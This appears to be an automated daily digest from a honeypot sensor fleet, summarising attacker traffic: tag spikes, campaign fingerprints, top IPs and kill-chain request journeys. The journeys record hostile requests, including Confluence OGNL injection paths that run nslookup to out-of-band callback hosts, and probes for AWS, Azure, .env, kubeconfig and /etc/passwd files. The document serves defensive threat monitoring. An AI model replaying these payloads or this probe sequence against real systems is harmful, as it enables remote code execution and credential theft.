flux fleet digest — 2026-09-04 07:34 UTC
Fleet overview (last 24h vs 7-day baseline)
| sensor | events | uniq IPs | 7d avg events | 7d avg uniq | events delta |
|---|---|---|---|---|---|
| canary-farm-1 | 11115 | 194 | 5217 | 153 | +113% |
| ai-devbox-1 | 1770 | 133 | 4574 | 151 | -61% |
| control-1 | 4632 | 100 | 8523 | 86 | -46% |
Result-tag spikes (campaign candidates)
| sensor | result | 24h | 7d avg | ratio |
|---|---|---|---|---|
| ai-devbox-1 | fake-git | 267 | 69.8 | 3.8x |
| canary-farm-1 | app-config-json | 20 | 1.5 | 13.3x |
| canary-farm-1 | app-config-php | 109 | 31.0 | 3.5x |
| canary-farm-1 | app-config-php-database | 24 | 7.0 | 3.4x |
| canary-farm-1 | app-config-python | 121 | 33.7 | 3.6x |
| canary-farm-1 | app-config-yaml | 51 | 13.0 | 3.9x |
| canary-farm-1 | application-properties | 26 | 7.0 | 3.7x |
| canary-farm-1 | application-yml | 52 | 14.3 | 3.6x |
| canary-farm-1 | aws-credentials-file | 64 | 9.2 | 6.9x |
| canary-farm-1 | aws-credentials-json | 23 | 3.0 | 7.7x |
| canary-farm-1 | config-json | 47 | 12.0 | 3.9x |
| canary-farm-1 | docker-compose | 42 | 10.3 | 4.1x |
| canary-farm-1 | drupal-settings-php | 24 | 6.7 | 3.6x |
| canary-farm-1 | env-production | 1078 | 253.8 | 4.2x |
| canary-farm-1 | fake-git | 355 | 54.5 | 6.5x |
| canary-farm-1 | firebase-json | 59 | 9.7 | 6.1x |
| canary-farm-1 | gcp-credentials-json | 42 | 8.0 | 5.2x |
| canary-farm-1 | generic-ci-config | 26 | 6.0 | 4.3x |
| canary-farm-1 | github-actions-workflow | 31 | 6.0 | 5.2x |
| canary-farm-1 | iis-web-config | 31 | 9.0 | 3.4x |
| canary-farm-1 | issued | 60 | 17.0 | 3.5x |
| canary-farm-1 | k8s-secret-manifest | 67 | 16.0 | 4.2x |
| canary-farm-1 | kubeconfig | 41 | 11.3 | 3.6x |
| canary-farm-1 | magento-env | 25 | 8.0 | 3.1x |
| canary-farm-1 | not-handled | 3129 | 608.3 | 5.1x |
| canary-farm-1 | phpmyadmin-login | 92 | 13.3 | 6.9x |
| canary-farm-1 | rails-database-yml | 70 | 19.0 | 3.7x |
| canary-farm-1 | sql-dump | 34 | 9.7 | 3.5x |
| canary-farm-1 | ssh-private-key-error | 184 | 47.5 | 3.9x |
| canary-farm-1 | terraform-tfstate | 55 | 13.7 | 4.0x |
| canary-farm-1 | terraform-tfvars | 24 | 6.3 | 3.8x |
| canary-farm-1 | webshell-probe | 123 | 13.2 | 9.3x |
| canary-farm-1 | wp-config | 121 | 32.7 | 3.7x |
| canary-farm-1 | wp-login-credentials | 52 | 7.0 | 7.4x |
| canary-farm-1 | wp-login-probe | 107 | 5.3 | 20.1x |
| control-1 | app-config-python | 41 | 8.8 | 4.7x |
| control-1 | aws-credentials-file | 46 | 13.8 | 3.3x |
| control-1 | env-production | 530 | 168.2 | 3.2x |
| control-1 | fake-git | 95 | 24.4 | 3.9x |
| control-1 | firebase-json | 36 | 10.7 | 3.4x |
| control-1 | gcp-credentials-json | 21 | 6.0 | 3.5x |
| control-1 | issued | 43 | 9.2 | 4.7x |
| control-1 | k8s-secret-manifest | 24 | 6.3 | 3.8x |
| control-1 | ssh-private-key-error | 76 | 11.2 | 6.8x |
| control-1 | tarpit-module | 1260 | 386.5 | 3.3x |
| control-1 | terraform-tfstate | 24 | 5.8 | 4.2x |
Campaign clusters (24h, journey-fingerprinted)
| signature | IPs | events | sensors | first seen | sample journey (6 steps) |
|---|---|---|---|---|---|
| e6e6f15a77e8 ⟳ | 40 | 121 | canary-farm-1 | 09-03 | /wp-login.php [wp-login-probe] → /wp-login.php [wp-login-credentials] → /wp-login.php [wp-login-probe] |
| 3e1c5eb879e7 ⟳ | 30 | 206 | ai-devbox-1,canary-farm-1,control-1 ⚠FLEET-WIDE | 08-29 | / [tarpit-module] → / [tarpit] → / [tarpit-disconnect] |
| 4b4cc0ece037 ⟳ | 13 | 92 | ai-devbox-1,canary-farm-1,control-1 ⚠FLEET-WIDE | 08-30 | / [tarpit-module] → / [tarpit-disconnect] → / [tarpit] |
| 7e61a9500d8b ⟳ | 7 | 343 | ai-devbox-1,canary-farm-1,control-1 ⚠FLEET-WIDE | 08-29 | /bin/sh [cgi-traversal-rce-command] → /bin/sh [cmd-injection-apache-cgi-shell] → /hello.world [cmd-injection-php-cgi-rce] → / [cmd-injection-php-cgi-rce] → /index.php [cmd-injection-php-cgi-rce] → /te |
| 850993125b15 ⟳ | 4 | 164 | canary-farm-1 | 08-29 | / [tarpit-module] → /console/ [weblogic-console-login] → /server [not-handled] → /server-status [server-status-html] → /about [not-handled] → /login.action [confluence-login] → … |
| b07c7bb207b4 ⟳ | 4 | 164 | ai-devbox-1 | 08-29 | / [tarpit-module] → /console/ [weblogic-console-login] → /server [not-handled] → /server-status [server-status-html] → /about [not-handled] → /login.action [confluence-login] → … |
| 1cf777711bea ⟳ | 3 | 24 | ai-devbox-1,canary-farm-1,control-1 ⚠FLEET-WIDE | 09-03 | / [tarpit-module] → / [tarpit] → / [tarpit-disconnect] → /favicon.ico [tarpit-module] |
| 4da4da41b920 | 3 | 18 | canary-farm-1 | 09-04 | /wp-login.php [wp-login-probe] → /wp-login.php [wp-login-credentials] → /wp-login.php [wp-login-probe] → /wp-login.php [wp-login-credentials] → /wp-login.php [wp-login-probe] |
Signature = SHA-256 of the ordered path[result] sequence (≤40 steps). Same signature across IPs = one tooling campaign; IPs rotate, signatures persist.
First-seen in this window
New paths:
| sensor | path | first seen |
|---|---|---|
| canary-farm-1 | /.git/hooks/pre-push.sample | 2026-09-04 03:15:46.019214-04:00 |
| canary-farm-1 | /.git/logs/refs/stash | 2026-09-04 03:15:46.019214-04:00 |
| canary-farm-1 | /.git/refs/tags/v1.1 | 2026-09-04 03:15:46.019214-04:00 |
| canary-farm-1 | /.git/logs/refs/tags/stable | 2026-09-04 03:15:46.019214-04:00 |
| canary-farm-1 | /.git/logs/refs/remotes/origin/ | 2026-09-04 03:15:46.019214-04:00 |
| canary-farm-1 | /.git/refs/remotes/origin/prod | 2026-09-04 03:15:46.019214-04:00 |
| canary-farm-1 | /.git/refs/remotes/origin/qa | 2026-09-04 03:15:46.019214-04:00 |
| canary-farm-1 | /CapBack.jpg | 2026-09-04 03:15:46.019214-04:00 |
| ai-devbox-1 | /backup/.git/config | 2026-09-04 03:15:46.019214-04:00 |
| ai-devbox-1 | /legacy/.git/config | 2026-09-04 03:15:46.019214-04:00 |
| ai-devbox-1 | /build/.git/config | 2026-09-04 03:15:46.019214-04:00 |
| ai-devbox-1 | /deploy/.git/config | 2026-09-04 03:15:46.019214-04:00 |
| ai-devbox-1 | /.env.dusk.local | 2026-09-04 03:15:46.019214-04:00 |
| ai-devbox-1 | /v3/api/.env | 2026-09-04 03:15:46.019214-04:00 |
| control-1 | /�.env.php | 2026-09-04 03:15:46.019214-04:00 |
| control-1 | /static/.env | 2026-09-04 03:15:46.019214-04:00 |
| control-1 | /assets/.env | 2026-09-04 03:15:46.019214-04:00 |
| control-1 | /htdocs/.env.production | 2026-09-04 03:15:46.019214-04:00 |
| control-1 | /.poetry/.env | 2026-09-04 03:15:46.019214-04:00 |
| control-1 | /ftpconfig.json | 2026-09-04 03:15:46.019214-04:00 |
New user agents:
| sensor | user agent | first seen |
|---|---|---|
| control-1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/ | 2026-09-04 03:31:39.738683-04:00 |
| ai-devbox-1 | Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version | 2026-09-04 03:31:39.738683-04:00 |
| control-1 | Mozilla/5.0 (Windows NT 6.2;en-US) AppleWebKit/537.32.36 (KH | 2026-09-04 03:31:39.738683-04:00 |
| canary-farm-1 | Mozilla/5.0 (Linux; Android 14; SM-S928B) AppleWebKit/537.36 | 2026-09-04 03:31:39.738683-04:00 |
| control-1 | Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 ( | 2026-09-04 03:31:39.738683-04:00 |
| control-1 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100 | 2026-09-04 03:15:46.078518-04:00 |
| control-1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 | 2026-09-04 03:15:46.078518-04:00 |
| control-1 | Opera/9.80 (Linux i686; Opera Mobi/1040; U; en) Presto/2.5.2 | 2026-09-04 03:15:46.078518-04:00 |
| control-1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/5 | 2026-09-04 03:15:46.078518-04:00 |
| ai-devbox-1 | Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/) | 2026-09-04 03:15:46.078518-04:00 |
Top talkers (24h)
| sensor | IP | events | trap fams | paths | first | last | blocklist | ASN org | cc | POSTed |
|---|---|---|---|---|---|---|---|---|---|---|
| canary-farm-1 | 87.120.104.29 | 3452 | 117 | 1674 | 09-04 05:06 | 09-04 05:06 | - | Sino Worldwide Trading Limit | NO | 0 |
| canary-farm-1 | 94.154.46.244 | 2100 | 107 | 1042 | 09-03 11:42 | 09-03 11:42 | - | Omegatech LTD | US | 0 |
| canary-farm-1 | 94.154.46.243 | 1903 | 107 | 1042 | 09-03 19:55 | 09-03 19:55 | - | Omegatech LTD | US | 0 |
| control-1 | 94.154.46.243 | 1803 | 116 | 1674 | 09-04 03:42 | 09-04 03:42 | - | Omegatech LTD | US | 0 |
| control-1 | 94.154.46.247 | 1050 | 107 | 1042 | 09-03 17:01 | 09-03 17:01 | - | Omegatech LTD | US | 0 |
| canary-farm-1 | 185.19.40.40 | 1007 | 5 | 5 | 09-03 08:04 | 09-03 08:05 | - | 1337 Services GmbH | NL | 1000 |
| control-1 | 207.175.90.192 | 723 | 130 | 533 | 09-03 07:50 | 09-03 07:51 | - | Google LLC | BE | 12 |
| canary-farm-1 | 34.38.121.96 | 723 | 131 | 533 | 09-03 09:30 | 09-03 09:30 | - | Google LLC | BE | 12 |
| ai-devbox-1 | 185.177.72.66 | 275 | 36 | 182 | 09-03 06:15 | 09-03 06:20 | ipsum:1 | Bucklog SARL | FR | 19 |
| canary-farm-1 | 196.206.35.222 | 245 | 21 | 42 | 09-04 04:07 | 09-04 05:18 | - | Office National des Postes e | MA | 27 |
| ai-devbox-1 | 196.206.35.222 | 242 | 15 | 38 | 09-04 04:06 | 09-04 04:47 | - | Office National des Postes e | MA | 27 |
| canary-farm-1 | 23.165.56.117 | 236 | 22 | 55 | 09-03 04:00 | 09-03 20:11 | - | Infocrest Systems LLC | US | 23 |
| control-1 | 213.209.159.148 | 229 | 36 | 178 | 09-03 05:21 | 09-03 05:22 | - | Feo Prest SRL | DE | 0 |
| canary-farm-1 | 109.205.211.201 | 144 | 2 | 142 | 09-03 19:56 | 09-03 19:56 | - | MEVSPACE sp. z o.o. | AZ | 0 |
| ai-devbox-1 | 109.205.211.201 | 144 | 2 | 142 | 09-03 14:01 | 09-03 14:01 | - | MEVSPACE sp. z o.o. | AZ | 0 |
Canary economics (24h)
| sensor | mints | distinct minting IPs |
|---|---|---|
| canary-farm-1 | 60 | 14 |
| control-1 | 43 | 6 |
| ai-devbox-1 | 10 | 8 |
Mint failures (24h): control-1:400x1; canary-farm-1:400x15
Mints by type label:
| sensor | types | mints |
|---|---|---|
| canary-farm-1 | ["aws"] | 60 |
| control-1 | ["aws"] | 43 |
| ai-devbox-1 | ["aws"] | 10 |
XFF forgery signals (24h)
- requests with any X-Forwarded-For: 1151
- multi-entry XFF (forged chains — no proxy appends on the direct path): 0
- XFF present but clientIp empty (all-internal forged chains): 0
TLS split + Host census (24h)
| sensor | protocol | events |
|---|---|---|
| ai-devbox-1 | http | 1415 |
| ai-devbox-1 | https | 355 |
| canary-farm-1 | http | 10594 |
| canary-farm-1 | https | 521 |
| control-1 | http | 4632 |
Top Host headers:
| sensor | host | events |
|---|---|---|
| canary-farm-1 | 109.123.246.142 | 9279 |
| control-1 | 38.54.2.209 | 4604 |
| canary-farm-1 | sso.rightabouteverything.show | 1807 |
| ai-devbox-1 | 217.15.163.226 | 1184 |
| ai-devbox-1 | inference.fapthropic.com | 567 |
| canary-farm-1 | vmi3243483.contaboserver.net | 16 |
| ai-devbox-1 | rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion | 2 |
| canary-farm-1 | rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion | 2 |
| control-1 | rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion | 2 |
| ai-devbox-1 | 192.0.2.1 | 2 |
Control node discovery velocity
- first event ever: 2026-08-28 11:22 UTC (6 days live)
- daily unique-IP ramp (newest first):
| day | events | uniq IPs |
|---|---|---|
| 2026-09-04 | 4632 | 100 |
| 2026-09-03 | 2361 | 105 |
| 2026-09-02 | 4068 | 105 |
| 2026-09-01 | 15373 | 107 |
| 2026-08-31 | 24100 | 88 |
| 2026-08-30 | 3186 | 70 |
| 2026-08-29 | 2052 | 39 |
Kill-chain watchlist (24h)
| sensor | IP | trap fams | journey (chronological) | ASN org | cc |
|---|---|---|---|---|---|
| canary-farm-1 | 34.38.121.96 | 131 | / [tarpit-module] → /aws_leak_probe_3bdee3df [not-handled] → /.env [issued] → /app/.env [env-production] → /read [not-handled] → /actuator/env [actuator-env] → /@fs/proc/self/environ [vite-fs-proc-environ] → /@vite/env [vite-env] → /config.js [webapp-config-bundle-js] → /api/config [app-config-json] → /download [not-handled] → /etc/passwd [not-handled] | Google LLC | BE |
| control-1 | 207.175.90.192 | 130 | / [tarpit-module] → /aws_leak_probe_bd29fc6b [not-handled] → /.env [issued] → /.azure/credentials [azure-credentials-file] → /.aws/credentials [aws-credentials-file] → /@fs/etc/passwd [vite-fs-etc-passwd] → /.git/HEAD [fake-git] → /aws/credentials [aws-credentials-file] → /.git-credentials [git-credentials-error] → /@fs/proc/self/environ [vite-fs-proc-environ] → /.mcp.json [mcp-config] → /etc/passwd [not-handled] | Google LLC | BE |
| canary-farm-1 | 87.120.104.29 | 117 | /wp-config.php~ [wp-config] → /.git/HEAD [fake-git] → /.aws/config [aws-config-file] → /wp-config.old [wp-config] → /config/database.php [app-config-php-database] → /configuration.php [app-config-php] → /wp-config.php.save [wp-config] → /config.php [app-config-php] → /composer.lock [not-handled] → /docker-compose.yaml [docker-compose] → /.aws/credentials [aws-credentials-file] → /local_settings.py [app-config-python] | Sino Worldwide Trading Limit | NO |
| control-1 | 94.154.46.243 | 116 | /config/app.php [app-config-php-services] → /configuration.php [app-config-php] → /wp-config.php.save [wp-config] → /.circleci/config.yml [generic-ci-config] → /config.js [webapp-config-bundle-js] → /Jenkinsfile [jenkinsfile] → /.env.tmp [env-production] → /wp-config.php~ [wp-config] → /.env.test [env-production] → /.env.production.local [env-production] → /.aws/config [aws-config-file] → /.env.save [env-production] | Omegatech LTD | US |
| canary-farm-1 | 94.154.46.243 | 107 | /.git/index [fake-git] → /.env.json [env-production] → /config/application.yml [application-yml] → /config/secrets.yml [rails-secrets-yml] → /wp-config.php.bak [wp-config] → /html/.env [env-production] → /site/.env [env-production] → /laravel/.env [env-production] → /wp-config.bak [wp-config] → /laravel/.env.example [env-production] → /config/database.yml [rails-database-yml] → /wp-config.old [wp-config] | Omegatech LTD | US |
| canary-farm-1 | 94.154.46.244 | 107 | /wp-config.php [wp-config] → /wp-config.php~ [wp-config] → /wp-config.php.bak [wp-config] → /wp-config.php.old [wp-config] → /wp-config.old [wp-config] → /.git/config [fake-git] → /config/database.php [app-config-php-database] → /.git/HEAD [fake-git] → /wp-config.php.save [wp-config] → /settings.php [app-config-php] → /composer.lock [not-handled] → /yarn.lock [yarn-lock-error] | Omegatech LTD | US |
| control-1 | 94.154.46.247 | 107 | /config.php [app-config-php] → /.env_prod [env-production] → /site/.env [env-production] → /html/.env [env-production] → /.env.bak~ [env-production] → /config/master.key [rails-master-key] → /.env.default [env-production] → /.env_old [env-production] → /.env_dev [env-production] → /docker/compose/withMongo/.env [tarpit-module] → /env [actuator-env] → /config.js [webapp-config-bundle-js] | Omegatech LTD | US |
| ai-devbox-1 | 185.177.72.66 | 36 | /wp-json/gravitysmtp/v1/tests/mock-data [gravitysmtp-mock-data] → /aws-credentials.json [aws-credentials-json] → /aws_credentials.json [aws-credentials-json] → /.aws/credentials [aws-credentials-file] → /.aws/config [aws-config-file] → /secrets.json [config-json] → /aws/smtp_config.json [not-handled] → /aws/.env [env-production] → /aws/.env.bak [env-production] → /config/aws.env [aws-env] → /config/aws.json [aws-credentials-json] → /application.yml [application-yml] | Bucklog SARL | FR |
| control-1 | 213.209.159.148 | 36 | /${( [not-handled] → /${@java.lang.Runtime@getRuntime().exec("nslookup da4ghb4upag7j4i9qnqgqz3wwt37mssb7.oast.me")}/ [confluence-ognl-probe] → /.aws/config� [not-handled] → /+CSCOE+/logon.html [cisco-webvpn-logon] → /${@java.lang.Runtime@getRuntime().exec("nslookup da4ghb4upag7j4i9qnqgkscsuimyzt1me.oast.me")}/ [confluence-ognl-probe] → /.aws/credentials [aws-credentials-file] → /.aws/config [aws-config-file] → /.aws/config; [not-handled] → /${@java.lang.Runtime@getRuntime().exec("nslookup da4ghb4upag7j4i9qnqgiuthuggyqaqcy.oast.me")}/ [confluence-ognl-probe] → /.azure/credentials [azure-credentials-file] → /.aws/credentials; [not-handled] → /.azure/credentials; [not-handled] | Feo Prest SRL | DE |
| canary-farm-1 | 207.154.212.47 | 27 | / [tarpit-module] → /console/ [weblogic-console-login] → /server [not-handled] → /server-status [server-status-html] → /about [not-handled] → /login.action [confluence-login] → /___proxy_subdomain_whm/login [whm-login] → /___proxy_subdomain_cpanel [whm-login] → /v2/_catalog [docker-registry-catalog] → /v2/internal/api-gateway/tags/list [docker-registry-tags] → /v2/internal/api-gateway/manifests/latest [docker-registry-manifest] → /v2/internal/auth-service/tags/list [docker-registry-tags] | DigitalOcean, LLC | DE |
| canary-farm-1 | 164.92.107.174 | 27 | / [tarpit-module] → /console/ [weblogic-console-login] → /server [not-handled] → /server-status [server-status-html] → /about [not-handled] → /login.action [confluence-login] → /___proxy_subdomain_whm/login [whm-login] → /___proxy_subdomain_cpanel [whm-login] → /v2/_catalog [docker-registry-catalog] → /v2/internal/api-gateway/tags/list [docker-registry-tags] → /v2/internal/api-gateway/manifests/latest [docker-registry-manifest] → /v2/internal/auth-service/tags/list [docker-registry-tags] | DigitalOcean, LLC | US |
| canary-farm-1 | 46.101.1.225 | 27 | / [tarpit-module] → /console/ [weblogic-console-login] → /server [not-handled] → /server-status [server-status-html] → /about [not-handled] → /login.action [confluence-login] → /___proxy_subdomain_whm/login [whm-login] → /___proxy_subdomain_cpanel [whm-login] → /v2/_catalog [docker-registry-catalog] → /v2/internal/api-gateway/tags/list [docker-registry-tags] → /v2/internal/api-gateway/manifests/latest [docker-registry-manifest] → /v2/internal/auth-service/tags/list [docker-registry-tags] | DigitalOcean, LLC | GB |
| ai-devbox-1 | 164.92.107.174 | 27 | / [tarpit-module] → /console/ [weblogic-console-login] → /server [not-handled] → /server-status [server-status-html] → /about [not-handled] → /login.action [confluence-login] → /___proxy_subdomain_whm/login [whm-login] → /___proxy_subdomain_cpanel [whm-login] → /v2/_catalog [docker-registry-catalog] → /v2/internal/api-gateway/tags/list [docker-registry-tags] → /v2/internal/api-gateway/manifests/latest [docker-registry-manifest] → /v2/internal/auth-service/tags/list [docker-registry-tags] | DigitalOcean, LLC | US |
| ai-devbox-1 | 167.71.175.236 | 27 | / [tarpit-module] → /console/ [weblogic-console-login] → /server [not-handled] → /server-status [server-status-html] → /about [not-handled] → /login.action [confluence-login] → /___proxy_subdomain_whm/login [whm-login] → /___proxy_subdomain_cpanel [whm-login] → /v2/_catalog [docker-registry-catalog] → /v2/internal/api-gateway/tags/list [docker-registry-tags] → /v2/internal/api-gateway/manifests/latest [docker-registry-manifest] → /v2/internal/auth-service/tags/list [docker-registry-tags] | DigitalOcean, LLC | US |
| canary-farm-1 | 164.92.244.132 | 27 | / [tarpit-module] → /console/ [weblogic-console-login] → /server [not-handled] → /server-status [server-status-html] → /about [not-handled] → /login.action [confluence-login] → /___proxy_subdomain_whm/login [whm-login] → /___proxy_subdomain_cpanel [whm-login] → /v2/_catalog [docker-registry-catalog] → /v2/internal/api-gateway/tags/list [docker-registry-tags] → /v2/internal/api-gateway/manifests/latest [docker-registry-manifest] → /v2/internal/auth-service/tags/list [docker-registry-tags] | DigitalOcean, LLC | DE |